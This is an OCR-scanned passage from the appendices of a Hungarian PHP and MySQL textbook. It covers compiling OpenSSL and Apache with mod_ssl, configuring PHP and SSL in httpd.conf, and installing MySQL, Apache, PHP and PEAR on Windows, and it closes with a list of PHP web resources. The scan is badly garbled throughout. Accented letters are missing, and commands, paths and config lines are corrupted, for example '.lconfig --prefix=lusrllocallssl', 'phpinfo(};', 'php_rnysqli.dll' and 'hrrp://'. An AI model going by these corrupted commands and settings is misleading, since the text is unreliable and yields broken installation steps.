nlni. A --prefix bellts hatrozza meg a telepts f knyvtrt:
#

gunzip -c openssl-0.9.8h.tar.gz

cd openssl-0.9.8h

ll

.lconfig --prefix=lusrllocallssl

Most ltrehozzuk, teszteljiik s teleptjiik:

tar xvf -

A PHP s a MySQL teleptse

625

# make
# make test
# make install

Ezt kveten konfigurljuk az Apache-t a fordtshoz. Az --enable-so konfigurcis bellts teszi lehetv a dinami
kus megosztott objektumok (DSO), az

--enable-ssl

pedig a mod_ssl modul ignybe vtelr. A szerverszoftver maximlis

rugalmassga rdekben az internetszolgltatk s a csomagokat kiad cgek szmra ersen ajnlott a DSO funkci hasznla
ta. Megjegyezzk azonban, hogy az Apache nem minden platforrnon tmogatja a DSO-t.
# cd

.. /httpd-2.2.9

# SSL_BASE=../openssl-0.9.8h \
./configure

--prefix=/usr/local/apache2

--enable-so
--enable-ssl

Vgezetl ellltjuk az Apache-t s a tanstvnyokat, majd telepthetjk ket:


# make

Ha mindent jl csinltunk, az albbihoz hasonl zenetet kell ltnunk:


+---------------------------------------------------------------------+

Before you install the package you now should prepare the SSL
certificate system by running the 'make certificate' command.
For different

situations the follawing

% make certificate TYPE=dummy


% make certificate TYPE=test

(dummy self-signed Snake Oil cert)


(test cert signed by Snake Oil CA)

% make certificate TYPE=custom

(custom cert signed by own CA)

% make certificate TYPE=existing


CRT=/path/to/your.crt

variants are provided:

(existing cert)

[KEY=/path/to/your.key]

Use TYPE=dummy when you're a vendor package maintainer,


the TYPE=test when you're an admin but want to do tests only,
the TYPE=custom when you're an admin willing to run a real server
and TYPE=existing

when you're an admin who upgrades a server.

(The default is TYPE=test)

Additionally add ALGO=RSA

(default)

or ALGO=DSA to select

the signature algorithm used for the generated certificate.

Use ake certificate VIEW=l'to display the generated data.

Thanks for using Apache

&

mod ssl. Ralf S. Engelsehall

rse@engelschall.com
www.engelschall.com
+---------------------------------------------------------------------+

Most mr ltrehozhatunk egyni tanstvnyt. Ehhez meg kell adni cmnket, cgnk adatait, illetve nhny tovbbi dolgot.
A kontaktadatoknl rdemes a valdi adatokat megadni. A tbbi krdsnl az alaprtelmezett vlaszok is tkletesen megfelelnek:

# make certificate TYPE=custom

s most teleptsk az Apache-t:


# make install

Ha minden jl megy, az albbihoz hasonl zenetet kell lmunk:


+--------------------------------------------------------+

You now have successfully built and installed the


Apache 2.2 HTTP server. To verify that Apache actually
works correctly you now should first check the
(initially created or preserved)

configuration files

626

35. fejezet

/usr/local/apache2/conf/httpd.conf

and then you should be able to irnmediately fire up


Apache the first time by running:

/usr/local/apache2/bin/apachectl start

Thanks for using Apache. The Apache Group


http://www.apache.org/
+--------------------------------------------------------+

Most pedig ellenrizzk, hogy az Apache s a PHP mkdik-e! Ahhoz azonban, hogy a konfigurcihoz hozzadhassuk
a PHP tpust, szerkeszteni szksges a httpd. conf fjlt.

A httpd. conf fjl: kddarabok


Nzzk meg a httpd. conf fjlt! Ha kvettk az eddigi utastsokat, akkor
local/apache2/conf

knyvtrban talljuk. A fjlban a PHP-hoz tartoz

httpd.conf
addtype

llomnyunkat az /usr l

bellts megjegyzss van alaktva.

Szntessk ezt meg, hogy a kvetkezkppen nzzen ki:


AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

Ezzel eljutottunk odig, hogy megnzhetjk, vajon mkdik-e Apache szervernk. Elszr is indtsuk el a kiszolglt SSL
tmogats nlkl, hogy felll-e! Ezt kveten ellenrizzk a PHP tmogatst, s lltsuk le, majd indtsuk el a kiszolglt be
kapcsolt SSL tmogatssal, hogy meggyzdhessnk rla, minden mkdik-e!
A coniigtest utastssal ellenrizzk, hogy a konfigurci megfelelen lett-e belltva:
t cd /usr/local/apache2/bin
t . /apachectl coniigtest
Syntax

OK

./apachectl start

./apachectl start:

httpd started

Ha minden jl ment, az A. l brn lvhz hasonlt fogunk ltni, amikor bngszvel kapcsoldunk a kiszolglhoz.

Megjegyzs: A kiszolglhoz a szmtgp domainnevvel

vagy IP-cmvel kapcsoldhatunk. Ellenrizzk mindkettt, hogy

biztosak lehessnk benne, hogy minden megfelelen mkdik!

Itworks!

A. l bra: Az Apache alaprtelmezett tesztoldala.

A PHP tmogats is mkdik:


Most mr tesztelhetjk a PHP tmogatst! Hozzunk ltre egy
a gykrknyvtrba, ami alaprtelmezsben az

test.php

fjlt, benne

/usr l local l apache/htdocs

az

albbi kddal! Az llomnyt tegyk

kell, hogy legyen! Mindazonltal ez az elr

si tvonal a korbban vlasztott knyvtreltagtl (prefix) fgg. Ezt a httpd.conf fjlban vltoztathatjuk meg:
<?php phpinfo();

?>

A kpernyn megjelen kimenet az A.2 brhoz hasonl kell, hogy legyen.

A PHP s a MySQL teleptse

wto---=

627

.,.

'::':?;

::.

A.2 bra: A phpinfo ( ) fggvnnyel hasznos konjigurcis informcikhoz juthatunk.

Az SSL mkdik
Apache 2.2 alatt pusztn annyit kell tennnk az SSL bekapcsolshoz, hogy a httpd.conf fjlban a httpd-ssl.conf
fjira vonatkoz szably ell eltvoltjuk a megjegyzs jelet.
Az albbi sor helyett:
# Include conf/extra/httpd-ssl.conf
ez szerepeljen a httpd. conf fjlban:
Include conf/extra/httpd-ssl.conf

Szmtalan belltst megvltoztathatunk a httpd-ssl.conf fjlban is; tovbbi informcirt olvassunk bele
a http://httpd.apache.org/ docs/2.2/ mod/ mod_ssl.html oldalon elrhet Apache-dokumentcibal
A konfigurcis vltoztatsok utn egyszeren lltsuk le, majd indtsuk el a kiszolglt:
# /usr/local/apache2/bin/apachectl stop
# /usr/local/apache2/bin/apachectl start
Prbljuk, hogy mkdik-e; ehhez kapcsoldjunk bngsznkkel a kiszolglhoz, s az albbiakat begpelve vlasszuk ki
a https protokollt:
https://szervernk.domainnk.hu

Prbljuk ki szervernk IP-cmt is, valahogy gy:


https://xxx.xxx.xxx.xxx

vagy
http://xxx.xxx.xxx.xxx:443

Ha minden rendben van, a kiszolgl elkldi a tanstvnyt a bngsznek, hogy biztonsgos kapcsolatot hozzon ltre. Ez
arra kszteti a bngszt, hogy elfogadtassa velnk a st magunk ltal alrt tanstvnyt. Ha olyan tanstvnyrl lenne sz,
amelyet a bngsznk ltal megbzhatnak tekintett tanst szervezet lltott volna

ki, a bngsz nem krdezne meg minket.

Jelen esetben mi hoztuk ltre s rtuk al sajt tanstvnyunkat. Egyelre nem kvntunk valdi tanstvnyt beszerezni, mivel
most mg csak arrl szeretnnk megbizonyosodni, hogy minden megfelelen mkdik.
Ha Internet Explorert vagy Firefoxot hasznlunk, lakat ikont lthacunk az llapotsoron. Ez jelzi, hogy biztonsgos kapcsolat
jtt ltre. A Firefoxban hasznlt ikont az A.3 brn lthatjuk; a lakat bngsznk -jobb vagy bal- als sarkban jelenik meg.

www.googlo.com

A.3 bra: A bngszk lakat ikont megjelentve jelzik, hogy az ppen megtekintett oldal SSL kapcsolaton keresztl jtt.
A teleptett PHP modulok megosztott objektumknt hasznlathoz nhny tovbbi lpsre van szksg.
Elszr is msoljuk a ltrehozott modult a PHP extensions knyvtrba, ami minden bizonnyal az
/u sr/local/lib/php/extensions

elrsi tvonalon tallhat!

Ezt kveten adjuk a php.ini fjlhoz az albbi sort:


extension

extension name.so

A php.ini mdostsa utn jra kell indtani az Apache-t.

628

35. fejezet

Az Apache, a PHP s a MySQL teleptse Windows alatt


Windows esetn kiss eltr a teleptsi folyamat, mivel a PHP-t vagy CGI {php. exe) szkriptknt vagy SAPI modulknt
{php5apache2_2. dll) llthatjuk be. Az Apache-t s a MySQL-t viszont a Unix alatt ltottakhoz hasonlan teleptjk.
A telepts megkezdse eltt ellenrizzk, hogy opercis rendszernkre teleprve vannak-e a legfrissebb javtsok!

Megjegyzs: A PHP 5.3-as verzija ta nem tmogaa a Windows 2000-nl rgebbi Windows opercis rendsureket;
a PHP 5.3 csak a Windows 2000, a Windows Server 2003, a Windows Server 2008 s a Windows Vista (s termszetesen
az ezeknl jabb) opercis rendszert tmogaa.

Lass internetkapcsolat esetn rdemes lehet a prograrnak CD-n lv verziit telepteni, m azok a legfrissebbnl egy vagy
akr tbb verzival is rgebbiek lehetnek.
A

MySQL teleptse Windows alatt

Az albbi teleptsi utastsok Windows Vista opercis rendszerre vonatkoznak.


Kezdjk a MySQL elksztsvel! A Windows Essentials msi teleptfjlt a http://www.mysql.com cmrl tlthetjk
le. Ha dupln rkattintunk erre az llomnyra, elindul a telepts.
A telept varzslval ksrt folyamat els nhny kpernyjn ltalnos informcikat olvashatunk a teleptsrl s
"
a MySQL-licencrl. Olvassuk el ezeket, s a"Continue {Folytats) gombra kattinrva lpkedjnk vgig rajtuk! Az els fontos
dnts az lesz, amikor a telepts tpust kell kivlasztanunk- typical {tipikus), compact {kompakt) vagy custom {egyni).
A tipikus tkletesen megfelel lesz, ezrt hagyjuk meg azt {ez a telepts alaprtelmezett tpusa), majd a"Next" {Tovbb)
gombra kattinrva folytassuk a teleptst!
Ha befejezdn a telepts, menjnk a MySQL Configuration Wizardba {konfigurcis varzsl), hogy ltrehozzuk az
"
ignyeinknek megfelel, egyni my. ini f:ijlunkat! A varzslt gy rjk el, ha a"MySQL Server Now jellngyzetbe, majd
"
a"Finish {Ksz) gombra kattintunk.
A MySQL Configuration Wizard klnbz kpernyin megjelen konfigurcis belltsok kzl vlasszuk ki a neknk
megfelelked A belltsokrl a http://dev.mysql.com/doc/refman/5.0/en/index.html oldalon elrhet MySQL kziknyv
ben tallunk rszletes lerst. Ha befejeztk a konfigurlst- ne feledkeznk meg arrl sem, hogy jelszt hatrozzunk meg
a root felhasznlnak!-, a varzsl elindtja a MySQL szolgltatst.
Miutn teleptettk a kiszolglt, a Vezrlpulton tallhat Services {Szolgltatsok) segdalkalmazs segtsgvel llt
hatjuk le, indthatjuk el, illerve llthatjuk be, hogy automatikusan elinduljon. A Services elindtshoz kattintsunk a Start
"
gombra, majd vlasszuk ki a Control Panelt {Vezrlpultot)! Kattintsunk dupln az"Administrative Tools {Rendszergazdai
"
eszkzk), majd a"Services gombral
A Services segdalkalmazst az A .4 brn ltjuk. Ha mdostani szeretnnk brmelyik MySQL-belltst, elszr le kell
lltani a szolgltatst, startup paramterknt megadni azokat, majd jraindtani a MySQL szolgltatst. A MySQL-t lelltani
is a Services segdalkalmazsban, tovbb a NET STOP MySQL vagy mysqladmin shutdown paranccsal tudjuk.
A MySQL-lel szmtalan parancssori segdalkalmazshoz jutunk. Ezek egyikhez sem knny elrni- kivve, ha a MySQL
binris knyvtr benne van a PATH vltozban. Ennek a krnyezeti vltoznak az a feladata, hogy kzlje a Windows-zal, hol
keresse a futtathat programokat.
A windowsos parancssorban a gyakran hasznlt parancsok tbbsge, kztk pldul a dir s a cd is be van prve a cmd.
exe-be. Msikak, pldul a forrnat s az ipconfig sajt futtathat llomnyokkal rendelkeznek. Nem lenne knyelmes, ha
a C: \WINNT\system32\format utastst be kellene gpelni, ha formzni szeretnnk a lemezt. Az is knyelmetlen len
ne, ha a MySQL monitor futtatshoz be kellene gpelni, hogy C: \mysql\bin\mysql.
* .

A.4 bra: A Services segdalkalmazssal konfigurlhauk a gpnknjut szolgltatsokat.

A PHP s a MySQL teleptse

629

Az alapvet Windows-parancsokhoz tartoz, futtathat fjlok, pldul a forrnat. exe knyvtra automatikusan megta
llhat a PATH vltoznkban, gy elg egyszeren begpelni azt, hogy forma t. Hogy ugyanilyen knyelmesen jrhassunk el
a MySQL parancssori eszkzkkel is, hozz kell adni azokat ehhez a vltozhoz.
Kattintsunk a Start gombra, s nyissuk meg a Vezrlpultot! Kattintsunk dupln a.System" gombra, majd menjnk az "Ad
vanced" (Specilis) flre! Ha az "Environment Variables" (Krnyezeti vltozk) gombra kattintunk, rendszernk krnyezeti
vltozit megjelent prbeszdablak nylik meg. Ha dupln kattintunk a PATH-ra, szerkeszthetjk a vltoz tartalmr.
Tegynk pontos vesszt az aktulis elrsi tvonal vgre, hogy elvlasszuk vele az j bejegyzst az elztl; majd gpeljk
be a c: \mysql\b in elrsi tvonalat! Az OK gombra kattintssal eltroljuk ezt a kiegsztst a gp rendszerler adatbzi
sban (registry). Szmtgpnk kvetkez jraindtsa utn elg lesz a mysql-t begpelni, nem kell kirni azt, hogy C:\

mysql\bin\mysql.

Az Apache teleptse Windows alatt


Az Apache 2.2 a windowsos platformok tbbsgn fut, s az Apache 2.0 meg az Apache 1.3 windowsos verzihoz kpest na
gyobb teljestmnyt nyjt, illetve stabilabban mkdk. Az Apache-t telepthetjk forrsbl, de mivel a Windows-felhasznlk
tbbsge nem rendelkezik fordtkkal, ebben a rszben az MSI telepts vltozatot mutatjuk be.
Menjnk a http://httpd.apache.org oldalra, s tltsk le onnan az Apache 2.2 aktulis verzijnak a Windows binris
fjljtl A knyv rsakor mi az apache_2. 2. 9-win32-x86-openssl-0. 9. 8hr2. msi fjlt tltttk le. Ez a- 2.2 hi
erarchin belli- aktulis verzit tartalmazza Windowshoz, valamint az OpenSSL 0.9.8h-t forrskd nlkl, MSI fjlknt
csomagolva. Az MSI fjl a Windows-telept ltal hasznlt csomagformtum.
Nem valszn, hogy sajt magunk kivnjuk lefordtani a forrskdot, legfeljebb, ha szeretnnk hozzjrulni a fejlesztsi
folyamathoz. Ez az egyeden fjl a teleptsre ksz, teljes Apache szervert tartalmazza.
A teleptsi folyamat elindtshoz kartintsunk dupln a letlttt fjlral A telepts menete ismers kell, hogy legyen sz
munkra. Az A.S brn lthat telept igen hasonl a tbbi windowsos relepthz.
Wek:Dtae to the Instalation W"r.rd for
Apache HTTP 5ervet' 1.2..9

..

aiDwycatamcdfy,,.-,ar
rHTlP5e'wr2.2.9.Toan,ddiNat.

Th!!listllloiiDn

A.S bra: Az Apache-telept egyszeren hasznlhat.

A teleptprogram a kvetkezket kri:


A hlzat nevt, a kiszolgl nevt s a rendszergazda e-mail cmt. Ha lesben mkd szervert kvnunk ltrehozni,
tudni kell vlaszolni ezekre a krdsekre. Ha szemlyes hasznlatra sznjunk a kiszolglt, nem szmt, hogy mit vla
szolunk.
Megadni, hogy szolgltatsknt kvnjuk-e furtatni az Apache-t. Akrcsak a MySQL esetben, irt is gy egyszerbb a te-

A telepts tpust. A Complete, azaz teljes telepts kivlasztst ajnljuk, de ha egyes komponenseket, pldul a dokumentcit ki szeretnnk hagyni, az egyni (Custom) teleptse is vlaszthatjuk.
A knyvtrat, ahova az Apache-t teleptjk. (Az alaprtelmezert lehetsge a C:\Program Fil es\Apache
Software

Foundation\Apache2 . 2.

A fenti belltsok megadsa utn a rendszer telepti s elindtja az Apache szervert.


Elindulsa utn az Apache a 80-as portot figyeli (kivve, ha megvltoztatjuk a konfigurcis fjlokban a Port, a Listen vagy
a SindAddress direktvt). A kiszolglhoz val csatlakozs s az alaprtelmezett oldal elrse rdekben indtsuk el a bng
sznket, majd gpeljk be az albbi URL-t:
http://localhost/

630

35. fejezet

Vlaszkm az A.l brn ltharhoz hasonl, dvzl oldalnak kell megjelennie. Ha semmi sem trrnik, vagy hibt kapunk,
nzzk meg a logs knyvtr error.log fjljt! Ha a szmrgp nem rendelkezik inrernetkapcsolattal, a fenti helyett
hasznljuk az albbi URL-t:
http:/!127.0.0.1/

Ez az IP-cm a localhostot jelenri.


Ha a 80-asrl eltr szm porrot hasznlunk, az URL vghez hozz kell fznnk a :port_ s zrna-t.
Ne feleelj k, hogy az Apache nem osztozhat ugyanazon a porron ms TCP /IP alkalmazssal!
Az Apache szolgltatst a Start menbl indthatjuk el, illerve llthatjuk le: az Apache Apache HTTP Serverkne jelenik meg
"
a"Programs (Programok) almenben. A"Control Apache Server" cm alatt tudjuk elindtani, lelltani s jraindtani a szerverr.
Az Apache teleptse utn szksg lehet r, hogy szerkesszk a conf knyvtrban lv konfigurcis fjloka t. A htt pd.
conf

konfigurcis fjl szerkesztsvel a PHP teleptse utn foglalkozunk majd.

A PHP teleptse Windows alatt


A PHP Windows alatti teleptshez elszr is tltsk le a fjlokat a http:/ /www.php.net oldalrl!
A windowsos teleptshez kt fjlt kell letlteni. Az egyik egy, a PHP-t tartalmaz ZIP fjl (a neve ahhoz hasonl, hogy
php-5.2. 6-Win32. zip) ,

a msik pedig a knyvtrak gyjtemnye (pecl-5. 2. 6-Win32. zip vagy ehhez hasonl).

Elszr is csomagoljuk ki a ZIP fjlokat egy neknk tetsz knyvtrba! A megszokott helye ennek a knyvtrnak a c:\
php,

s mi magunk is ezt hasznljuk a telepts bemutatshoz.

A PECL knyvtrakat gy telepthetjk, ha kicsomagoljuk a PECL fjlt a bvtmnyeinket tartalmaz knyvtrunkba. Ha


alapknyvtrkm a c:\php-t hasznljuk, akkor ez a c:\php\ext \lesz.
Ekkor kvessk az albbi lpseket:
l.

A f knyvtrban ltharunk egy php. exe s egy php5ts.dll nev fjlt. A PHP CGI-knt futtatshoz van szks
gnk ezekre a fjlokra. Ha viszone inkbb SAPI modulknt futtatnnk a PHP-t, a webszerverhez megfelel DLL fjlt
kell hasznlnunk, ami jelen esetben a php5apache2 _2.dll.
A SAPI modulok gyorsabban s knnyebben biztonsgoss tehetk; a CGI verzi pedig lehetv teszi, hogy parancs
sorbl futtassuk a PHP-t. Megint csak rajrunk mlik, hogy melyik lehetsget vlasztjuk

2.

lltsuk be a php.ini konfigurcis fjlt! A PHP kt elre elksztett fjlt tartalmaz: php.ini-dist s php.
ini-recornrnended. A

PHP elsajttshoz vagy a fejlesztsre hasznlt kiszolglkon a php. ini-dist, lesben

hasznlt kiszolglkon pedg a php.ini-recornrnended vltozatot javasoljak. Msoljuk le a neknk megfelel llo
mnyt, majd nevezzk t php.ini-re!
3.

Szerkesszk php.ini fjlunkat! Szmtalan belltst tartalmaz, sokkal kzlk egyelre nem szksges foglalkozni.
A most mdostandk az albbiak:
Vltoztassuk meg az extension_dir drektvt, hogy arra a knyvtrra mutasson, amelyikbe a bvtmnyeink
DLL fjljait pakoltuk! Szoksos telepts esetn ez a C:\PHP\ext. gy php.ini fjlunkba ez kerl:
extension_dir = c:/php/ext

A doc_root direktvt llitsuk a gykrknyvtrra, amelybl webszervernk mkdik! Amennyiben Apache-t


hasznlunk, ez minden bizonnyal a
doc root = "c:/Prograrn Files/Apache Software Foundation/Apache2.2/htdocs"

lesz.
Vlasszuk ki a futtatand bvtmnyeked Azt javasoljak, hogy ennl a pontnl csak arra figyeljnk, hogy a PHP
mkdjn; a bvtmnyeket akkor is hozzadhatjuk majd, amikor tnylegesen szksg lesz rjuk. Bvtmny hoz
zadshoz nzzk meg a"Windows Extensions" alatti listt! Olyan sorokat fogunk itt ltni, minr az
;extension=php_pdf.dll

E bvtmny bekapcsolshoz egyszeren tvoltsuk el a sor elejrl a pontosvesszt ( kikapcsolshoz pont ennek
ellenkezjt tegyk)! Ne feledkezznk meg rla, hogy ha a ksbbiekben tovbbi bvtmnyeket adunk a PHP
hez, a php. ini fjl mdostsa utn jra kell indtani a webszervert ahhoz, hogy a vltozsok rvnybe lpjenek!
Knyvnkben a php_pdflib.dll, a php_gd2.dll, a php_imap.dll s a php_rnysqli.dll bvtmnye
hasznljuk.Tvoltsuk el ezen sorok ell a ponrosvesszd Elfordulhat, hogy a php_rnysqli.dll hinyzik. Eb
ben az esetben rjuk be az albbi sort:
extension=php_rnysqli.dll

Zrjuk be s mentsk el a php.ini fjlt!


4.

Ha NTFS fjlrendszert hasznlunk, ellenrizzk, hogy a kiszolgl olyan felhasznlknt fut, amely jogosultsggal br
php.ini

fjlunk olvassra!

A PHP s a MySQL teleptse

PHP

. 631

hozzadsa Apache-konfigurcinkhoz

Elfordulhat, hogy szerkeszteni kell az Apache egyik konfigurcis fjljt. Nyissuk meg kedvenc szerkesztnkben a httpd.
llomnyt! A fjlt ltalban a c:\Program Files\Apache Software Foundation \Apache2.2\conf\
knyvtrban talljuk. Keressk meg az albbi sorokat:

conf

LoadModule phpS_module c:/php/php5apache2 2.dll


PHPiniDir "c:/php/"
AddType application/x-httpd-php .php

Ha nem talljuk ezeket, rjuk be ket a fjlba, mentsk el azt, majd indtsuk jra Apache kiszolglnkat!

Munknk ellenrzse
A kvetkez lps webszervernk elindtsa. Ezt kveten meggyzdhetnk arrl, hogy a PHP mkdik-e. Hozzuk ltre
a test.php fjlt, s rjuk bele az albbi sort:
<?

?>

phpinfo(};

gyeljnk, hogy ez a fjl a gykrknyvtrban (ltalban C: \Program


Apache2.2\htdocs ) legyen, majd nyissuk meg a bngsznkben:

File\Apache Software Foundation\

http://localhost/test.php

vagy
http://ide-kerul-az-ip-cimunk/test.php

Ha az A. 2 brn lthathoz hasonl kpernyt kapunk, biztosak lehetnk benne, hogy a PHP mkdik.

A PEAR teleptse
A PHP5-nek rsze a PHP Extension and Application Reposirory (PEAR) csomagtelept kszlet. Ha Windowst hasznlunk,
menjnk a parancssorba, s gpeljk be ezt:
c:\php\go-pear

A go-pear kd nhny egyszer krdst tesz fel arra vonatkozan, hova szetetnnk telepteni a csomagteleptt s az
ltalnos PEAR osztlyokat, majd letlti s telepti azokat szmunkra. (Linux alatt erre az els lpsre nincs szksg, de a tele
ptsi folyamat tbbi rsze ugyanaz lesz.)
Ennl a pontnl a PEAR csomagtelept teleptett vltozatval, illetve az alapvet PEAR knyvtrakkal kell rendelkeznnk.
Ezt kveten a csomagokat egyszeren a
pear install csomag

begpelsvel telepthetjk, ahol a csomag a telepteni kvnt csomag nevt jelli.


Az elrhet csomagok listjt a
pear list-all

utastst begpelve kapjuk meg. Hogy lssuk, eddig mit teleptettnk, rjuk be az albbi parancsot:
pear list

A Levelezlista-kezel alkalmazsfejlesztse cm 30. fejezethez szksges MIME levelezcsomag teleptshez az albbiakat


kell begpelni:
pear install Mail_Mime

A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezetben emltett DB csomagot is hasonlan kell telepteni:
pear install

MDB2

Ha azt szetetnnk ellenrizni, ltezik-e valamelyik teleptett csomagnak frissebb verzija, a


pear upgrade csomagnev

utastst hasznlhatjuk.
Ha a fent lertak valamilyen okbl nem mkdnek nlunk, ajnlott a PEAR csomagokat kzverlenl letlteni. Ehhez menjnk a http:/ /pear.php.net/packages.php oldalra!
Innen megkereshetjk a klnbz csomagokat. Ebben a knyvben tbbek kzte a Mail_Mime csomagot hasznljuk.
Menjnk ennek oldalra, majd a "Download Latest" (Legfrissebb verzi letltse) gombra kattintva tltsk le a csomagot! A le
tlttt llomnyt ki kell csomagolni, s az include_path direktvban meghatrozott helyre kell pakolni. Kell, hogy legyen
c:\php\pear vagy hasonl knyvtrunk. Ha sajt kezleg tltnk le csomagokat, ajnlott azokat a PEAR gykrknyvtr
ba helyezni. A PEAR megszokott struktrval rendelkezik, ezrt ajnlott a dolgokat a szoksos helykre pakolni - oda, ahova
a telept is tenn azokat. A Mail_Mime csomag pldul a Mai! rszhez tartozik, gy ebben a pldban a c:\php\pear\
Mai l knyvtrba pakolnnk azt.

632

35. fezer

Egyb konfigurcik belltsa


A PHP-r s a MySQL-r webszerverekhez, pldul az Omni, a HTTPD s a Netscape Enterprise Serverhez is bellthatj uk .

Ezekkel nem foglalkozunk ebben a fggelkben, konfigurlsukrl a MySQL s a PHP weboldalain- hrrp://www.mysql.com,
ilietve hrrp://www.php .net- tallunk informcit.

B fggelk
Webes forrsok
Ebben a fggelkben az interneten elrhet, szmtalan forrs kzl emelnk ki nhnyat. Ezeken a weboldalakon egyebek
kzte oktatanyagokat, cikkeket, hreket s minta PHP kdokat tallunk. Az itteni felsorols nem lehet tbb, mint egy szk
vlogats a vilghln elrhet szmtalan forrsbl. Annl termszetesen sokkal tbb oldal foglalkozik a tmval, mintsem itt
lehetsgnk lenne mindet felsorolni, radsul gombamd szaporodnak, ahogy a PHP s a MySQL hasznlata s npszers
ge egyre nvekszik a webfejlesztk krben.
Az itt felsorolt forrsok egy rsze nem angol, hanem nmet, francia vagy egyb nyelven rhet el. Hogy az ilyen webes for
rsokat angol nyelven olvashassk azok, akiknek ez az anyanyelve, olyan fordtalkalmazs hasznlatt ajnlja a szerz, mint
amilyen a http://www.systransoft.com oldalon rhet el.

Forrsok

PHP-rl

PHP.Net- http://www. php.net-A PHP eredeti oldala. Innen tlthetjk le a PHP binris s forrsverzijt, illerve az online
kziknyvet. Az oldalon tallzharunk a levelezlistk archvumban, s naprakszek maradharunk a PHP-s hrek tern.
Zend.Com-http://www.zend.com- A PHP-t mkdtet Zend motor forrsa. A portloldalon frumokat, cikkeket,
oktatanyagot, valamint hasznlatra ksz mintaosztlyok s -kdok adathzisr tallj uk.
PEAR- http://pear.php.net-A PHP Extension and Application Repository oldala. Ez a PHP-bvtmnyek hivatalos
oldala.
PECL-htcp:// pecl.php.net -A PEAR tesrvroldala. A PEAR PHP-ben, a PECL (amit ..pik!" -nek szoks ejteni) ugyan
akkor C-ben megrt osztlyokkal dolgozik. A PECL osztlyokat esetenknt nehezebb telepteni, m jellemzen gazdagabb
funkcionalitssal rendelkeznek s szinte mindig hatkonyabbak, mint PHP alap prjaik.
PHPCommunity- http://www.phpcommunicy.org/- A PHP-kzssg egy viszonylag j oldala.
phplarchitect-http://www.phparch.com- PHP magazin. Az oldalon ingyenes cikkeket olvasharunk, illerve elfizethernk
a magazin PDF- vagy nyomtatott vltozatra.
PHP Magazine-http://www.phpmag.net/ -Egy msik PHP magazin, amely- az elbbihez hasonlan -elektronikus s
nyomtatott formban is elrhet.
PHP Wizard.net- http://www.phpwizard.net- Szmtalan klassz PHP-s alkalmazs, pldul a phpChar s a phpiRC
forrsa.
PHPMyAdmin.Net- http://www.phpmyadmin.net/-A MySQL-hez rt npszer, PHP alap webes fellet (front end)
oldala.
PHPBuilder.com-http://www.phpbuilder.com- PHP-oktatanyagok (rutorial) portlja. Az oldalon szinte mindenhez
tallunk anyagot. Frumot is mkdtet, ahol feleehetjk krdseinket.
DevShed.com- http://www.devshed.com-Portltpus oldal, ahol kivl oktatanyagokat tallunk a PHP-rl,
a MySQL-rl, a Perlrl s ms fejlesztnyelvekrL
PX-PHP Code Exchange- http://px.sklar.com- Kivl kiindulpont. Szmtalan mintakdot s hasznos fggvnyt tal
lunk itt.
The PHP Resource- http://www.php-resource.de-Oktatanyagok, cikkek s kdok kivl forrsa. Az egyeclen.,probl
ma" az oldallal, hogy nmerl rdott. A mintakdokat mindazonltal nmettuds nlkl is meg fogjuk rteni.
WeberDev.com-http:/ /www.WeberDev.com- A korbban Berber's PHP sample page (Berber PHP mintaoldala) nven
ismert oldal kintte magt, immr oktatanyagokat s mintakdokat is szp szmmal tartalmaz. A PHP s a MySQL felhasz
nlit clozza, kiemelten fogWkozik a biztonsggal s az adatbzisokkal.
HotScripts.com-http://www.hocscripts.com- Kategrikba rendezett kdok kivl gyjtemnye. Az oldal klnbz
nyelven (PHP, ASP.NET s Perl) rt kdokat tartalmaz. A gyakran frisstett oldalon nagyszer PHP kdokat cal.lunk. Ne
hagyjuk ki, ha kdokat keresnk!

634

35. fejezet

PHP Base Library- http://phplib.sourceforge.net- Nagylptk PHP projektek fejleszti lral ltogatorr oldal. Szm
talan eszkzt knl a munkamenet-kezelsnek a knyvben ltottl eltr megkzeltshez, sablonok hasznlathoz, illetve az
adatbzis-absztrakcihoz.
PHP Center- hrrp://www.php-center.de- Egy msik nmet portl, ahol egyebek kzrr oktatanyagokat, kdokat, tippe
ket, trkkket s reklmokat tallunk.
PHP Homepage- http://www.php-homepage.de- Mg egy nmet PHP oldal kdokkal, cikkekkel, hrekkel stb. Gyors
referencia-tmutatval is rendelkezik.
PHPindex.com- http://www.phpindex.com- Ignyes francia PHP portl tmntelen, PHP-hez kapcsold tartalommal.
Az oldalon egyebek kzrr hreket, gyaktan ismtelt krdseket, cikkeket, llsajnlatokat tallunk.
WebMonkey.com- http://www.webmonkey.com - Rengeteg webes forrssal, valdi projektekre pl oktatanyagokkal,
mintakdokkal rendelkez oldal. Oldaltervezssel, programozssal, back end alkalmazs fejlesztsvel, multimdis tmkkal
stb. egyarnt foglalkozik.
PHP Club- http://www.phpclub.net- Kezd PHP-felhasznlknak szmtalan informcit knl oldal. Hreket, knyv
ajnlsokat, mintakdokat, frumokat, gyaktan ismtelt krdseket s kezdknek kszlt oktatanyaget tallunk irr.
PHP Classes Repository- hrrp://phpclasses.org- PHP-ban rt, ingyenesen hasznlhat osztlyok terjesztst clz oldal.
Ha fejlesztnk valamit, vagy kdunk osztlyokbl ll, akkor semmikppen sem szabad kihagyni ezt az oldalt! Kivl keresvel
rendelkezik, gy gyorsan megtallhatjuk a neknk kell dolgokat.
PHP Resource Index- http://php.resourceindex.com- Kdok, osztlyok s dokumentcik portloldala. A legvonzbb az
oldalban, hogy mindent szpen kategrikba rendeztek, amivel rengeteg idt takartharunk meg.
PHP Developer- http:/ /www.phpdeveloper.org- PHP-val kapcsolatos hreket, cikkeket s oktatanyagokat knl, jabb
portl.
Evil Walrus- http://www.evilwalrus.com- PHP kdokat tartalmaz, ignyes kinzet portl.
SourceForge- http://sourceforge.net- Nylt forrskd forrsok kiterjedt gyjtemnye. A SourceForge nem csupn
a hasznos kdok felkutatsban segt, hanem nylt forrskd fejlesztk ltal hasznlhat CVS-hez, levelezlistkhoz s g
pekhez is hozzjuthatunk.
Codewalkers- hrrp:/ l codewalkers.com/ - Cikkeket, knyvajnlkat s oktatanyagokat tartalmaz, illetve nagyon j
PHP-versenyt szervez oldal. j tudsunkkal vonz ajndkokat nyerhetnk a versenyben, amit kthetente hirdernek meg az
oldalon.
PHP Developer's Network Unilied Forums- http:/ /forums.devnetwork.net/index.php-PHP-hoz kapcsold tmk
fruma.
PHP Kitchen- http://www.phpkitchen.com/- Cikkek, hrek s tmogats a PHP-hoz.
Postnuke- hrrp://www.posmuke.com/- Gyakran hasznlt PHP-s tartalomkezel rendszer.
PHP Application Tools- http://www.php-tools.de/- Hasznos PHP osztlyok gyjtemnye.
